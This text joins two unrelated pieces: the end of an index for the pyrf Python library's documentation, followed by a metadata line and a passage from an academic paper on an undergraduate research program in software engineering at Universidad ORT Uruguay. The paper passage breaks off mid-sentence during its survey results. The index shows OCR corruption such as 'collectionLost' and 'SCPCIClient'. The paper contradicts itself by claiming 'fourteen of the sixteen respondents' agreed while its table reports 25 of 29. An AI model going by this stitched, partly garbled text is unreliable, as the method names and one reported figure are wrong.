pyrf.numpy_util), 16 capture() (pyrf.devices.thinkrf.WSA method), 7 capture_power_spectrum() (pyrf.sweep_device.SweepDevice method), 11 capture_time_domain() (pyrf.capture_device.CaptureDevice method), 13 CaptureDevice (class in pyrf.capture_device), 13 CaptureDeviceError, 13 collect_data_and_context() (in module pyrf.util), 16 compute_fft() (in module pyrf.numpy_util), 16 configure_device() (pyrf.capture_device.CaptureDevice method), 13 connect() (pyrf.connectors.twisted_async.TwistedConnector method), 14 connect() (pyrf.connectors.twisted_async.SCPIClientFactory method), 14 connect() (pyrf.devices.thinkrf.WSA method), 8 collectionLost() (pyrf.connectors.twisted_async.VRTClient method), 14 collectionMade() (pyrf.connectors.twisted_async.SCPIClient method), 14 ContextPacket (class in pyrf.vrt), 17 data (pyrf.vrt.DataPacket attribute), 17 DataArray (class in pyrf.vrt), 17 DataPacket (class in pyrf.vrt), 17 dataReceived() (pyrf.connectors.twisted_async.SCPIClientFactory method), 14 dataReceived() (pyrf.connectors.twisted_async.VRTClient method), 14 decimation() (pyrf.devices.thinkrf.WSA method), 8 disconnect() (pyrf.connectors.blocking.PlainSocketConnector method), 13 disconnect() (pyrf.connectors.twisted_async.TwistedConnector method), 14 disconnect() (pyrf.devices.thinkrf.WSA method), 8 eof (pyrf.connectors.twisted_async.VRTClient attribute), 14 eof() (pyrf.connectors.blocking.PlainSocketConnector method), 13 eof() (pyrf.connectors.twisted_async.TwistedConnector method), 14 eof() (pyrf.devices.thinkrf.WSA method), 8 F fields (pyrf.vrt.ContextPacket attribute), 17 flush() (pyrf.devices.thinkrf.WSA method), 8 flush_captures() (pyrf.devices.thinkrf.WSA method), 8 fshift() (pyrf.devices.thinkrf.WSA method), 8 | G | Gain (pyrf.devices.thinkrf.WSA method), 8 | | H | has_data() (pyrf.connectors.blocking.PlainSocketConnector method), 13 | | | has_data() (pyrf.devices.thinkrf.WSA method), 9 | | | have_read_perm() (pyrf.devices.thinkrf.WSA method), 9 | | I | id() (pyrf.devices.thinkrf.WSA method), 9 | | | ifgain() (pyrf.devices.thinkrf.WSA method), 9 | | | inject_recording_state() (pyrf.connectors.twisted_async.TwistedConnector method), 14 | | | inject_recording_state() (pyrf.connectors.twisted_async.VRTClient method), 15 | | | InvalidDataReceived, 17 | | | IQData (class in pyrf.vrt), 17 | | | i_s_context_packet() (pyrf.vrt.ContextPacket method), 17 | | | i_s_data_packet() (pyrf.vrt.DataPacket method), 17 | | | locked() (pyrf.devices.thinkrf.WSA method), 9 | | M | makeConnection() (pyrf.connectors.twisted_async.VRTClient method), 15 | | N | numpy_array() (pyrf.vrt.DataArray method), 17 | | | numpy_array() (pyrf.vrt.IQData method), 17 | | P | parse_discovery_response() (in module pyrf.devices.thinkrf), 11 | | | PlainSocketConnector (class in pyrf.connectors.blocking), 13 | | | plan_sweep() (in module pyrf.sweep_device), 12 | | | ppb() (pyrf.devices.thinkrf.WSA method), 9 | | | preselect_filter() (pyrf.devices.thinkrf.WSA method), 9 | | | pyrf.capture_device (module), 13 | | | pyrf.config (module), 15 | | | pyrf.connectors.blocking (module), 13 | | | pyrf.connectors.twisted_async (module), 14 | | | pyrf.devices.thinkrf (module), 7 | | | pyrf.numpy_util (module), 16 | | | pyrf.sweep_device (module), 16 | | | pyrf.util (module), 16 | | | pyrf.vrt (module), 17 | | R | raw_read() (pyrf.connectors.blocking.PlainSocketConnector method), 13 | | | raw_read() (pyrf.connectors.twisted_async.TwistedConnector method), 14 | | | raw_read() (pyrf.devices.thinkrf.WSA method), 9 | | | read() (pyrf.devices.thinkrf.WSA method), 9 | | | read_data() (pyrf.capture_device.CaptureDevice method), 13 | | | read_data_and_context() (in module pyrf.util), 16 | | | request_read_perm() (pyrf.devices.thinkrf.WSA method), 9 | | | reset() (pyrf.devices.thinkrf.WSA method), 9 | | S | SCPIClient (class in pyrf.connectors.twisted_async), 14 | | | SCPIClientFactory (class in pyrf.connectors.twisted_async), 14 | | | scpiget() (pyrf.connectors.blocking.PlainSocketConnector method), 13 | | | scpiget() (pyrf.connectors.twisted_async.SCPCIClient method), 14 | | | scpiget() (pyrf.connectors.twisted_async.TwistedConnector method), 14 | | | scpiget() (pyrf.devices.thinkrf.WSA method), 9 | | | scpiset() (pyrf.connectors.blocking.PlainSocketConnector method), 13 | | | scpiset() (pyrf.connectors.twisted_async.SCPCIClient method), 14 | | | scpiset() (pyrf.connectors.twisted_async.TwistedConnector method), 14 | | | set_recording_output() (pyrf.devices.thinkrf.WSA method), 10 | | | set_recording_output() (pyrf.connectors.twisted_async.VRTClient method), 15 | | | socketread() (in module pyrf.connectors.blocking), 14 | | | spp() (pyrf.devices.thinkrf.WSA method), 10 | | | startedConnecting() (pyrf.connectors.twisted_async.SCPCIClientFactory method), 14 | | | startedConnecting() (pyrf.connectors.twisted_async.VRTClientFactory method), 15 | | | steps (pyrf.sweep_device.SweepStep attribute), 12 | | | stream_start() (pyrf.devices.thinkrf.WSA method), 10 | | | stream_status() (pyrf.devices.thinkrf.WSA method), 10 | | | stream_stop() (pyrf.devices.thinkrf.WSA method), 10 | | | sweep_add() (pyrf.devices.thinkrf.WSA method), 10 | | | sweep_clear() (pyrf.devices.thinkrf.WSA method), 10 | | | sweep_read() (pyrf.devices.thinkrf.WSA method), 10 | | | sweep_start() (pyrf.devices.thinkrf.WSA method), 10 | | | sweep_stop() (pyrf.devices.thinkrf.WSA method), 10 | | | SweepDevice (class in pyrf.sweep_device), 11 | | | SweepDeviceError, 11 | | | SweepEntry (class in pyrf.config), 15 | SweepStep (class in pyrf.sweep_device), 11 sync_async() (pyrf.connectors.blocking.PlainSocketConnector method), 13 sync_async() (pyrf.connectors.twisted_async.TwistedConnector method), 14 T to_sweep_entry() (pyrf.sweep_device.SweepStep method), 12 trigger() (pyrf.devices.thinkrf.WSA method), 10 TriggerSettings (class in pyrf.config), 16 TriggerSettingsError, 16 TwistedConnector (class in pyrf.connectors.twisted_async), 14 TwistedConnectorError, 14 V vrt_packet_reader() (in module pyrf.vrt), 18 VRTClient (class in pyrf.connectors.twisted_async), 14 VRTClientFactory (class in pyrf.connectors.twisted_async), 15 W WSA (class in pyrf.devices.thinkrf), 7
{"Source-Url": "https://pyrf.readthedocs.io/_/downloads/en/pyrf-2.7.2/pdf/", "len_cl100k_base": 11518, "olmocr-version": "0.1.50", "pdf-total-pages": 45, "total-fallback-pages": 0, "total-input-tokens": 81338, "total-output-tokens": 14113, "length": "2e13", "weborganizer": {"__label__adult": 0.0004601478576660156, "__label__art_design": 0.0003428459167480469, "__label__crime_law": 0.0003006458282470703, "__label__education_jobs": 0.00018477439880371096, "__label__entertainment": 0.00011402368545532228, "__label__fashion_beauty": 0.00020134449005126953, "__label__finance_business": 0.0001513957977294922, "__label__food_dining": 0.0003788471221923828, "__label__games": 0.0007839202880859375, "__label__hardware": 0.0175933837890625, "__label__health": 0.0002665519714355469, "__label__history": 0.0002160072326660156, "__label__home_hobbies": 0.00015985965728759766, "__label__industrial": 0.0010929107666015625, "__label__literature": 0.00013577938079833984, "__label__politics": 0.0002346038818359375, "__label__religion": 0.0005249977111816406, "__label__science_tech": 0.0295867919921875, "__label__social_life": 5.948543548583984e-05, "__label__software": 0.016632080078125, "__label__software_dev": 0.92919921875, "__label__sports_fitness": 0.0004303455352783203, "__label__transportation": 0.0005970001220703125, "__label__travel": 0.00019490718841552737}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44416, 0.06759]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44416, 0.2642]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44416, 0.64129]], "google_gemma-3-12b-it_contains_pii": [[0, 101, false], [101, 101, null], [101, 2404, null], [2404, 2404, null], [2404, 2414, null], [2414, 2414, null], [2414, 3407, null], [3407, 5440, null], [5440, 5803, null], [5803, 5803, null], [5803, 7618, null], [7618, 9915, null], [9915, 11728, null], [11728, 13862, null], [13862, 15892, null], [15892, 18214, null], [18214, 19905, null], [19905, 21522, null], [21522, 23043, null], [23043, 25159, null], [25159, 26808, null], [26808, 27082, null], [27082, 27809, null], [27809, 28232, null], [28232, 29132, null], [29132, 30554, null], [30554, 31760, null], [31760, 32892, null], [32892, 33977, null], [33977, 35617, null], [35617, 36522, null], [36522, 37306, null], [37306, 37397, null], [37397, 37397, null], [37397, 37488, null], [37488, 37488, null], [37488, 37488, null], [37488, 37488, null], [37488, 37528, null], [37528, 37528, null], [37528, 37726, null], [37726, 37726, null], [37726, 39872, null], [39872, 43757, null], [43757, 44416, null]], "google_gemma-3-12b-it_is_public_document": [[0, 101, true], [101, 101, null], [101, 2404, null], [2404, 2404, null], [2404, 2414, null], [2414, 2414, null], [2414, 3407, null], [3407, 5440, null], [5440, 5803, null], [5803, 5803, null], [5803, 7618, null], [7618, 9915, null], [9915, 11728, null], [11728, 13862, null], [13862, 15892, null], [15892, 18214, null], [18214, 19905, null], [19905, 21522, null], [21522, 23043, null], [23043, 25159, null], [25159, 26808, null], [26808, 27082, null], [27082, 27809, null], [27809, 28232, null], [28232, 29132, null], [29132, 30554, null], [30554, 31760, null], [31760, 32892, null], [32892, 33977, null], [33977, 35617, null], [35617, 36522, null], [36522, 37306, null], [37306, 37397, null], [37397, 37397, null], [37397, 37488, null], [37488, 37488, null], [37488, 37488, null], [37488, 37488, null], [37488, 37528, null], [37528, 37528, null], [37528, 37726, null], [37726, 37726, null], [37726, 39872, null], [39872, 43757, null], [43757, 44416, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 44416, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44416, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44416, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44416, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44416, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44416, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44416, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44416, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44416, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44416, null]], "pdf_page_numbers": [[0, 101, 1], [101, 101, 2], [101, 2404, 3], [2404, 2404, 4], [2404, 2414, 5], [2414, 2414, 6], [2414, 3407, 7], [3407, 5440, 8], [5440, 5803, 9], [5803, 5803, 10], [5803, 7618, 11], [7618, 9915, 12], [9915, 11728, 13], [11728, 13862, 14], [13862, 15892, 15], [15892, 18214, 16], [18214, 19905, 17], [19905, 21522, 18], [21522, 23043, 19], [23043, 25159, 20], [25159, 26808, 21], [26808, 27082, 22], [27082, 27809, 23], [27809, 28232, 24], [28232, 29132, 25], [29132, 30554, 26], [30554, 31760, 27], [31760, 32892, 28], [32892, 33977, 29], [33977, 35617, 30], [35617, 36522, 31], [36522, 37306, 32], [37306, 37397, 33], [37397, 37397, 34], [37397, 37488, 35], [37488, 37488, 36], [37488, 37488, 37], [37488, 37488, 38], [37488, 37528, 39], [37528, 37528, 40], [37528, 37726, 41], [37726, 37726, 42], [37726, 39872, 43], [39872, 43757, 44], [43757, 44416, 45]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44416, 0.07463]]}
olmocr_science_pdfs
2024-11-29
2024-11-29
ad22cf0013722fd7cc8cc4e8661fcb5e76db473c
Undergraduate research in software engineering. An experience and evaluation report Gerardo Matturro (Universidad ORT Uruguay, Montevideo, Uruguay https://orcid.org/0000-0001-6432-1223, matturro@fi365.ort.edu.uy) Abstract: The purpose of this paper is to present an undergraduate research experience process model and the evaluation of seven years of its application in an undergraduate research program in software engineering. Undergraduate students who participated in research projects between 2015 and 2022 were surveyed to find out a) their motivations for participating in research projects in software engineering, b) the skills they consider they have acquired or improved by participating in those projects, and c) their perception of benefits and utility for their future work and professional activities. Results reveal that participation in real research projects in software engineering is highly valued by undergraduate students, who perceive benefits in the development of research and soft skills, and for their future professional activity. In addition, these undergraduate research projects and the process followed show that it is feasible to make original contributions to the body of knowledge of software engineering. Keywords: undergraduate research, software engineering, experience evaluation Categories: D.2, L.0.0, L.3.4 DOI: 10.3897/jucs.95718 1 Introduction The Council on Undergraduate Research defines Undergraduate Research (UR) as “a mentored investigation or creative inquiry conducted by undergraduates that seeks to make a scholarly or artistic contribution to knowledge” (CUR, 21). Since 2015, at the School of Engineering of Universidad ORT Uruguay we have been developing an undergraduate research program with undergraduate students of the Systems engineering and Information systems degrees, focusing on doing research in the field of software engineering. Software engineering is defined as the application of a systematic, disciplined, quantifiable approach to the development, operation, and maintenance of software, that is, the application of engineering to software (IEEE, 1990). Software engineering is fundamentally an empirical discipline, where knowledge is gained by applying direct and indirect observation or experience. Approaches to software development, operation, and maintenance must be investigated by empirical means to be better understood, evaluated, and deployed in proper contexts (Felderer, 20). As previously demonstrated in other engineering fields, research in software engineering represents an essential instrument to support the understanding of the software-related phenomena and the mitigation of issues in the software processes (Staron, 20). As noted by Malhotra (Malhotra, 16), empirical studies are important in software engineering as they allow software professionals to evaluate and assess the new concepts, technologies, tools, and techniques in a scientific and proved manner. They also allow improving, managing, and controlling the existing processes and techniques by using evidence obtained from the empirical analysis. Considering that most undergraduate students will work in the software and information technology industry after graduation, acquiring not only theoretical knowledge but practical, hands-on research skills (by actively participating in a research experience) will allow them to plan, execute, and evaluate empirical studies to meet the needs of the software industry. However, a recent study (Ahmad, 22) on learning models for undergraduate research experience proposed in the literature between 2011 and 2021 did not identify any related study or proposal for the discipline of software engineering. The purpose of this article is to present the process model for undergraduate research in software engineering at the School of Engineering of Universidad ORT Uruguay, the vision of the students themselves in relation to their experience of participating in these research activities, and the results obtained in terms of scientific publications derived from the research reports and completed degree thesis. We consider that the undergraduate research process model presented in this work can be particularly useful for higher education institutions with limited resources to do research, for example, with few senior researchers and postgraduate students. The rest of this article is organized as follows. In section 2 some background on desired characteristics of undergraduate research is given, and a model for undergraduate research is presented. Section 3 presents the undergraduate research program in software engineering at Universidad ORT Uruguay and describes the process that is followed for students who decide to do their capstone project in research mode. Section 4 describes the methodological design for evaluating the program from the point of view of students who have participated in research projects: research questions, participants, and procedure for collecting data by means of a survey. Section 5 presents the most relevant results of the survey, while section 6 is devoted to discussing the results and answering the research questions. Section 7 is devoted to presenting some learnings and good practices obtained throughout the seven years of execution of the undergraduate research program described in section 3. In section 8, the conclusions of the study are presented, and in section 9 some proposals for future work are depicted. 2 Background on undergraduate research According to Blessinger and Hensel (Blessinger, 20), undergraduate research is identified as a high-impact learning practice and, as such, it is linked to improved student achievement and institutional advancement. To these authors, the ultimate objective of undergraduate research is for the students to make, to one degree or another, an original contribution to the discipline. 2.1 Desired characteristics for undergraduate research projects To be meaningful to students, the research project must be “real”; that is, an investigation with the following characteristics: the research questions are well defined so that they can be systematically investigated, but their answers are unknown, research results may not be quickly forthcoming, but when they emerge, they constitute a genuine contribution to the field, and the research methods are the ones used in the discipline and seen as valid by disciplinary experts (Laursen, 10). Murray, Obare and Hageman (Murray, 16) call for undergraduate research to be “authentic”; that is, hands-on research in which students actively engage with original questions or problems, usually with the guidance of a research mentor, and attempt to find unknown answers or solutions where the emphasis is on generation of new knowledge and/or problem-solving as done by practicing scientists and engineers. According to Ellison and Patel (Ellison, 22), there are two key features of an undergraduate research experience that distinguish it from lab exercises and active classroom learning methods that simulate the research process. First, in an undergraduate research experience the student will learn to set research objectives, develop hypotheses, and research questions that build on previous work but for which no one knows the outcome or answer. Second, in addition to learning new technical skills, the student will also learn to use them and, in case of need, to adapt them for the tasks at hand. 2.2 Undergraduate research model According to Healey and Jenkins (Healey, 09), there are four main ways of engaging undergraduates with research and inquiry, as shown in Figure 1: - research-led: learning about current research in the discipline. - research-oriented: developing research skills and techniques. - research-based: undertaking research and inquiry. - research-tutored: engaging in research discussions. To these authors, even though all those four ways of engaging students with research and inquiry are valid and valuable, in much of higher education relatively too much teaching and learning is in the bottom half of the model, while most students would benefit from spending more time in the top half. As we will explain in next section, the research activities developed under the undergraduate research program are focused the most on the upper side of Healey and Jenkins model. 3 Undergraduate research at the School of Engineering The School of Engineering of Universidad ORT Uruguay offers a five-years degree in Systems Engineering and a four-years degree in Information Systems, both with a strong emphasis on software engineering. Both careers have a common core of courses in their curricula, named Software engineering fundamentals, Software design (two courses), Agile software engineering, and Human-computer interaction. The Systems engineering career also has a set of more advanced courses on Software architecture, Testing and software quality, and a second course on Agile software engineering and DevOps. These advanced courses, in turn, can be taken as optional/complementary courses by the students of the Information systems career. For students to complete one or the other degree, they must undertake a final capstone project that can be of one of the following “modes”: a) software development project proposed by the software engineering lab, b) software development project proposed by industry, c) entrepreneur project proposed by the students, and d) undergraduate research project. Figure 1: The nature of undergraduate research and inquiry (Healey, 09) The undergraduate research project mode introduces students to practical research activities, and at the same time supports the research lines of the different laboratories and senior researchers, having as its main objective the creation and dissemination of knowledge. 3.1 Undergraduate research in software engineering Research in software engineering is performed at the Centro de Investigación e Innovación en Ingeniería de Software – CI3S (Software Engineering Research and Innovation Center) of the School of Engineering. The undergraduate research program in software engineering started in March 2015 and, as of March 2022, 20 projects were developed and completed, and 34 students participated in them. These undergraduate research activities are being led by the author, who acts as a mentor of research teams and proposes research topics within the main research lines of the CI3S. Table 1 shows the software engineering topics researched, the number of projects completed up to date, and the number of students that have participated in them. <table> <thead> <tr> <th>Year ended</th> <th>Projects</th> <th>Students</th> <th>Research topic (number of projects)</th> </tr> </thead> <tbody> <tr> <td>2015</td> <td>1</td> <td>2</td> <td>Soft skills in software engineering</td> </tr> <tr> <td>2017</td> <td>1</td> <td>2</td> <td>Soft skills in software engineering</td> </tr> <tr> <td>2018</td> <td>2</td> <td>2</td> <td>Human aspects of agile methodologies (2)</td> </tr> <tr> <td>2019</td> <td>6</td> <td>10</td> <td>Soft skills in software engineering (1)</td> </tr> <tr> <td></td> <td></td> <td></td> <td>Human aspects of agile methodologies (2)</td> </tr> <tr> <td></td> <td></td> <td></td> <td>Software startups (3)</td> </tr> <tr> <td>2020</td> <td>2</td> <td>4</td> <td>Software startups (2)</td> </tr> <tr> <td>2021</td> <td>4</td> <td>6</td> <td>Software startups (4)</td> </tr> <tr> <td>2022</td> <td>4</td> <td>8</td> <td>Software startups (4)</td> </tr> </tbody> </table> Table 1: Undergraduate research projects completed between 2015 and 2022 3.2 The undergraduate research process With some minor variations along the last years, the whole process for undergraduate research projects is organized in three phases and 14 steps, as shown in Table 2. The pre-project phase has the objectives to let students know what research in software engineering is about, the kind of work to perform during the project, the required level of engagement, and the expected outcomes. Students are also informed about current research topics and given introductory reading material so that they can choose one topic that is interesting to them. After they choose a topic, students participate in the development of a research proposal. During the in-project phase, students prepare a project plan that includes usual activities and expected deliverables in a research project: reviewing the literature according to the research problem posed for the project, specifying its purpose, objectives, and research questions, and defining the research design for collecting and analysing data suitable to the type of research to carry on. Project team regularly meet with the senior researcher acting as a mentor to keep track of project progress, discussing decisions and actions taken by the students, and obtain advice on how to proceed with the next steps. The plan also includes activities related to writing and reviewing the research report or thesis, and to participate in a “work-in-progress” seminar to report on their project work up to date and receive feedback and suggestions, especially from their fellow students. At the end of the project, students submit their thesis for evaluation. In the post-project phase, the project team prepares the presentation of its thesis, while (hopefully) planning with the senior researcher a research paper as a final activity for the dissemination of results. Because projects last 6 or 12 months, it is usually not possible to write a research paper within the project execution phase. However, half of the students have carried out this post-project activity (which does not grant them extra credits) together with the senior researcher (mentor); some of them in more than one article, as shown in Table 7. ### Phases and steps of the undergraduate research process <table> <thead> <tr> <th>Phases</th> <th>Steps and activities</th> </tr> </thead> </table> | Pre-project | 1. Students come to the CI3S with intention to do a research project. 2. Senior researcher explains the characteristics of a research project and expected level of engagement. 3. Senior researcher shows the students the list of current research topics and explains main objective of each one. 4. Students select preferred research topic and, jointly with senior researcher, develop the research proposal. 5. Project scope and objective are defined according to expected duration of project (6 or 12 months) and size of project team (1, 2, or 3 students). 6. Project team members participate in a brief, one week pre-project workshop on research methodology. | | In-project | 7. Based on the research proposal, team members and senior researcher prepare the research project plan. 8. With the project plan approved, students start the project execution. 9. Weekly or biweekly meetings are held by team members and senior researcher to evaluate and discuss project status and receive guidance on the next steps. 10. As the research progresses, the students write their research report (thesis) and receive comments and advice from the senior researcher. 11. Students participate in at least one seminar with other students and researchers to receive feedback and engage in discussion about the progress of their project. 12. When the project ends, students submit their final report to the evaluation committee and are assigned a date to present and defend their thesis. | | Post-project | 13. Students prepare their dissertation with feedback from the senior researcher. 14. Students and senior researcher plan for writing a research paper based on the main outcomes of the project. | **Table 2: Undergraduate research process model: phases and activities** Regarding the Healey and Jenkins model explained above, the described process is mainly in the upper right corner of the model, with students doing real, hands-on research (steps 4, 7, 8, 10) but also taking into consideration the upper left corner of the model with students engaging in research discussions (steps 9 and 11). ### 4 Undergraduate research program evaluation To evaluate the 7 years period (March 2015 – March 2022) of running undergraduate research projects, a study was carried out to find opinions of the students regarding their participation in those research projects. 4.1 Research questions Initially, three research questions were posed for this study aimed at knowing why students choose the research project mode for their capstone project and their opinion about their experience. The research questions are as follows: - RQ1: What motivates students to participate in an undergraduate research project in software engineering? - RQ2: What skills do students consider they have acquired or improved by participating in the undergraduate research project? - RQ3: What perception do students have in relation to the usefulness of participating in an undergraduate research project for their future work and professional activity? In addition, we also wanted to evaluate the undergraduate research program in terms of outcomes in the form of research papers published in journals or conference proceedings. So, a fourth research question was added: - RQ4: What have been the main results of the undergraduate research program in terms of contributions to the body of knowledge of software engineering? 4.2 Data collection method and instrument For research questions RQ1 to RQ3, the data collection method was a survey to the 34 students who participated in undergraduate research projects between 2015 and 2022. The questionnaire used for the survey has 21 questions and is organized into the following thematic sections: - Demographic information of the respondents and the projects in which they participated: study program completed, year of project completion, number of members of their project team, topic and research problem addressed. - Previous knowledge or experience in academic research activities. - Motivation to participate in an undergraduate research project. - Perception of improvement in the performance of a set of skills. - Perception of usefulness of participating in a research project for their working and professional activities. - An open space to leave criticisms and proposals for future improvements. To prepare this questionnaire, two pre-existing data collection instruments were taken as a reference. One of them was version III of the "Survey of Undergraduate Research Experiences" (SURE) (Grinnel, 18) which, as presented by Lopatto, is a survey designed to evaluate the benefits of undergraduate research experiences (Lopatto, 04), (Lopatto, 08). The other was the "Undergraduate Scientists. Measuring Outcomes of Research Experiences Student Survey" (USMORE-SS), proposed by Maltese, Harsh and Jung (Maltese, 17) as a tool to measure student achievement as a result of their participation in these research experiences. The questionnaire was developed using Google Forms functionalities and was open for responses between April 1 and April 30, 2022. The distribution of the survey to the target population was carried out by sending a personalized email that included the link to the online version of the questionnaire. For research question RQ4, bibliographic data were collected directly from the conference proceedings and the journal where the research papers were published. 4.3 Data analysis The data collected with the survey were extracted from each completed questionnaire and tabulated in different Excel spreadsheets to facilitate their analysis and organized for presenting results. Responses to closed questions were tabulated to count the number of answers for each option. With respect to the open questions, prior to their analysis, an “open coding” process was carried out, which involved comparing text units (responses of the survey respondents) to discover relevant categories for the research problem (Grbich, 13). In this process, codes arise that represent categories of responses to the open questions, as shown in Table 3. 5 Results This section presents the results obtained from the responses to the survey, and the answers to the research questions. Twenty-nine students completed the survey, out of the 34 that were invited, giving a response rate of 85%. Self-identification of respondents was optional in the survey, so we anonymized all the answers. None of the 29 respondents had prior experience in research activities, and only nine had taken an optional undergraduate course on research methodology. 5.1 Motivations to undertake a capstone research project Regarding the research question RQ1, referring to the reasons students have for choosing the research mode for their capstone project, two questions were asked in the survey. The first one was an open question: What was the main reason for choosing to do your final degree project in "research" mode? Table 3 shows the codes assigned to the textual responses and the corresponding response quantities. Some illustrative answers of the different motivations expressed by the participants are the following: “I work as a programmer, and I wanted to do something different. I didn’t feel like scheduling an additional 4 hours a day and having to work for another client”, “…because I was interested in something different from development, since I develop software in my work as well…”, “…because I was more interested in learning by researching than doing software development …”, “…when deciding, I was inclined to know and apply research methodologies, a topic that I hadn’t learn during the program…”. Also regarding research question RQ1, in the survey participants were asked to indicate their degree of agreement with the following statement: “The topic and research problem posed for the project was very motivating to decide to do my capstone project in research mode.”. Possible answers were given by the following options: “Strongly disagree, Disagree, Neutral, Agree, Strongly agree”. Table 4 shows the results obtained: fourteen of the sixteen respondents agreed or strongly agreed with that statement. Main reason | Quantity | Percentage --- | --- | --- To learn on how to research | 12 | 41.4% Don't do another software development project | 8 | 27.6% To delve into a topic of interest | 6 | 20.7% The mode is compatible with my current working activity | 2 | 6.9% I did not have another choice | 1 | 3.4% <table> <thead> <tr> <th>Answer</th> <th>Quantity</th> <th>Percentage</th> </tr> </thead> <tbody> <tr> <td>Strongly disagree</td> <td>1</td> <td>3.45%</td> </tr> <tr> <td>Disagree</td> <td>0</td> <td>0.00%</td> </tr> <tr> <td>Neutral</td> <td>3</td> <td>10.34%</td> </tr> <tr> <td>Agree</td> <td>9</td> <td>31.03%</td> </tr> <tr> <td>Strongly agree</td> <td>16</td> <td>55.17%</td> </tr> <tr> <td></td> <td>29</td> <td>100.00%</td> </tr> </tbody> </table> Table 3: Motivations to undertake a research project Table 4: Research topic/problem posed as a deciding factor As explained above, the proposed research topics are related to the research lines of the software engineering research group of the Software Engineering Research and Innovation Center. Examples of proposed research topics are, among others, the following: Soft skills in software engineering: study on their valuation in Uruguayan companies (Fontán, 15), A knowledge management-based solution to the problem of newcomers to running software projects (Barrella, 17), Difficulties and strategies for adopting DevOps practices: a case study in a government agency (Maidana, 19), Difficulties and insertion strategies of an external Product Owner in outsourced software projects (Piriz, 19), The process of creation and evolution of a Minimum Viable Product in software startups (González, 19), Team building, decision making and conflict resolution in software startups (Suárez, 21). 5.2 Skills gains In relation to RQ2 about student’s perception of improvement in certain skills, the participants were asked to evaluate, using a Likert scale, to what extent they considered that they improved the following specific skills: - Plan and control a research project. - Read and interpret technical and scientific literature. - Clearly define a research problem. - Collect and analyse data and other information. - Present results effectively. - Write a technical or research report. The Likert scale used for all the statements had the following options: “I did not improve this skill at all, I slightly improved this skill, I improved this skill, I strongly improved this skill, I learned something that I did not know before”. Table 5 shows distribution of answers for the six skills surveyed. From those answers, students perceive the greatest gains in the abilities to plan and control a research project, to read and interpret technical and scientific literature, and to write a technical or research report. <table> <thead> <tr> <th>Skill</th> <th>Quantity</th> <th>Percentage</th> </tr> </thead> <tbody> <tr> <td>Ability to plan and control a research project</td> <td></td> <td></td> </tr> <tr> <td>I did not improve this skill at all</td> <td>1</td> <td>3.45%</td> </tr> <tr> <td>I slightly improved this skill</td> <td>1</td> <td>3.45%</td> </tr> <tr> <td>I improved this skill</td> <td>10</td> <td>34.48%</td> </tr> <tr> <td>I strongly improved this skill</td> <td>3</td> <td>10.34%</td> </tr> <tr> <td>I learned something that I did not know before</td> <td>14</td> <td>48.28%</td> </tr> <tr> <td>Ability to read and interpret technical and scientific literature</td> <td></td> <td></td> </tr> <tr> <td>I did not improve this skill at all</td> <td>1</td> <td>3.45%</td> </tr> <tr> <td>I slightly improved this skill</td> <td>0</td> <td>0.00%</td> </tr> <tr> <td>I improved this skill</td> <td>8</td> <td>27.59%</td> </tr> <tr> <td>I strongly improved this skill</td> <td>13</td> <td>44.83%</td> </tr> <tr> <td>I learned something that I did not know before</td> <td>7</td> <td>24.14%</td> </tr> <tr> <td>Ability to clearly define a research problem</td> <td></td> <td></td> </tr> <tr> <td>I did not improve this skill at all</td> <td>0</td> <td>0.00%</td> </tr> <tr> <td>I slightly improved this skill</td> <td>2</td> <td>6.90%</td> </tr> <tr> <td>I improved this skill</td> <td>5</td> <td>17.24%</td> </tr> <tr> <td>I strongly improved this skill</td> <td>11</td> <td>37.93%</td> </tr> <tr> <td>I learned something that I did not know before</td> <td>11</td> <td>37.93%</td> </tr> <tr> <td>Ability to collect and analyze data and other information</td> <td></td> <td></td> </tr> <tr> <td>I did not improve this skill at all</td> <td>1</td> <td>3.45%</td> </tr> <tr> <td>I slightly improved this skill</td> <td>2</td> <td>6.90%</td> </tr> <tr> <td>I improved this skill</td> <td>8</td> <td>27.59%</td> </tr> <tr> <td>I strongly improved this skill</td> <td>12</td> <td>41.38%</td> </tr> <tr> <td>I learned something that I did not know before</td> <td>6</td> <td>20.69%</td> </tr> <tr> <td>Ability to present results effectively</td> <td></td> <td></td> </tr> <tr> <td>I did not improve this skill at all</td> <td>0</td> <td>0.00%</td> </tr> <tr> <td>I slightly improved this skill</td> <td>3</td> <td>10.34%</td> </tr> <tr> <td>I improved this skill</td> <td>9</td> <td>31.03%</td> </tr> <tr> <td>I strongly improved this skill</td> <td>11</td> <td>37.93%</td> </tr> <tr> <td>I learned something that I did not know before</td> <td>6</td> <td>20.69%</td> </tr> <tr> <td>Ability to write a technical or research report</td> <td></td> <td></td> </tr> <tr> <td>I did not improve this skill at all</td> <td>0</td> <td>0.00%</td> </tr> <tr> <td>I slightly improved this skill</td> <td>3</td> <td>10.34%</td> </tr> <tr> <td>I improved this skill</td> <td>4</td> <td>13.79%</td> </tr> <tr> <td>I strongly improved this skill</td> <td>10</td> <td>34.48%</td> </tr> <tr> <td>I learned something that I did not know before</td> <td>12</td> <td>41.38%</td> </tr> </tbody> </table> Table 5: Skills acquired or improved 5.3 Usefulness of research participation for professional activities Regarding the research question RQ3, referring to the students' perception of the usefulness of participating in a research project for their work and professional activity, the participants were asked to indicate their degree of agreement with the following statements: - My experience of participating in the undergraduate research project has been useful to my performance in my work and professional activities. - The general experience of participating in an undergraduate research project better prepares the participants for 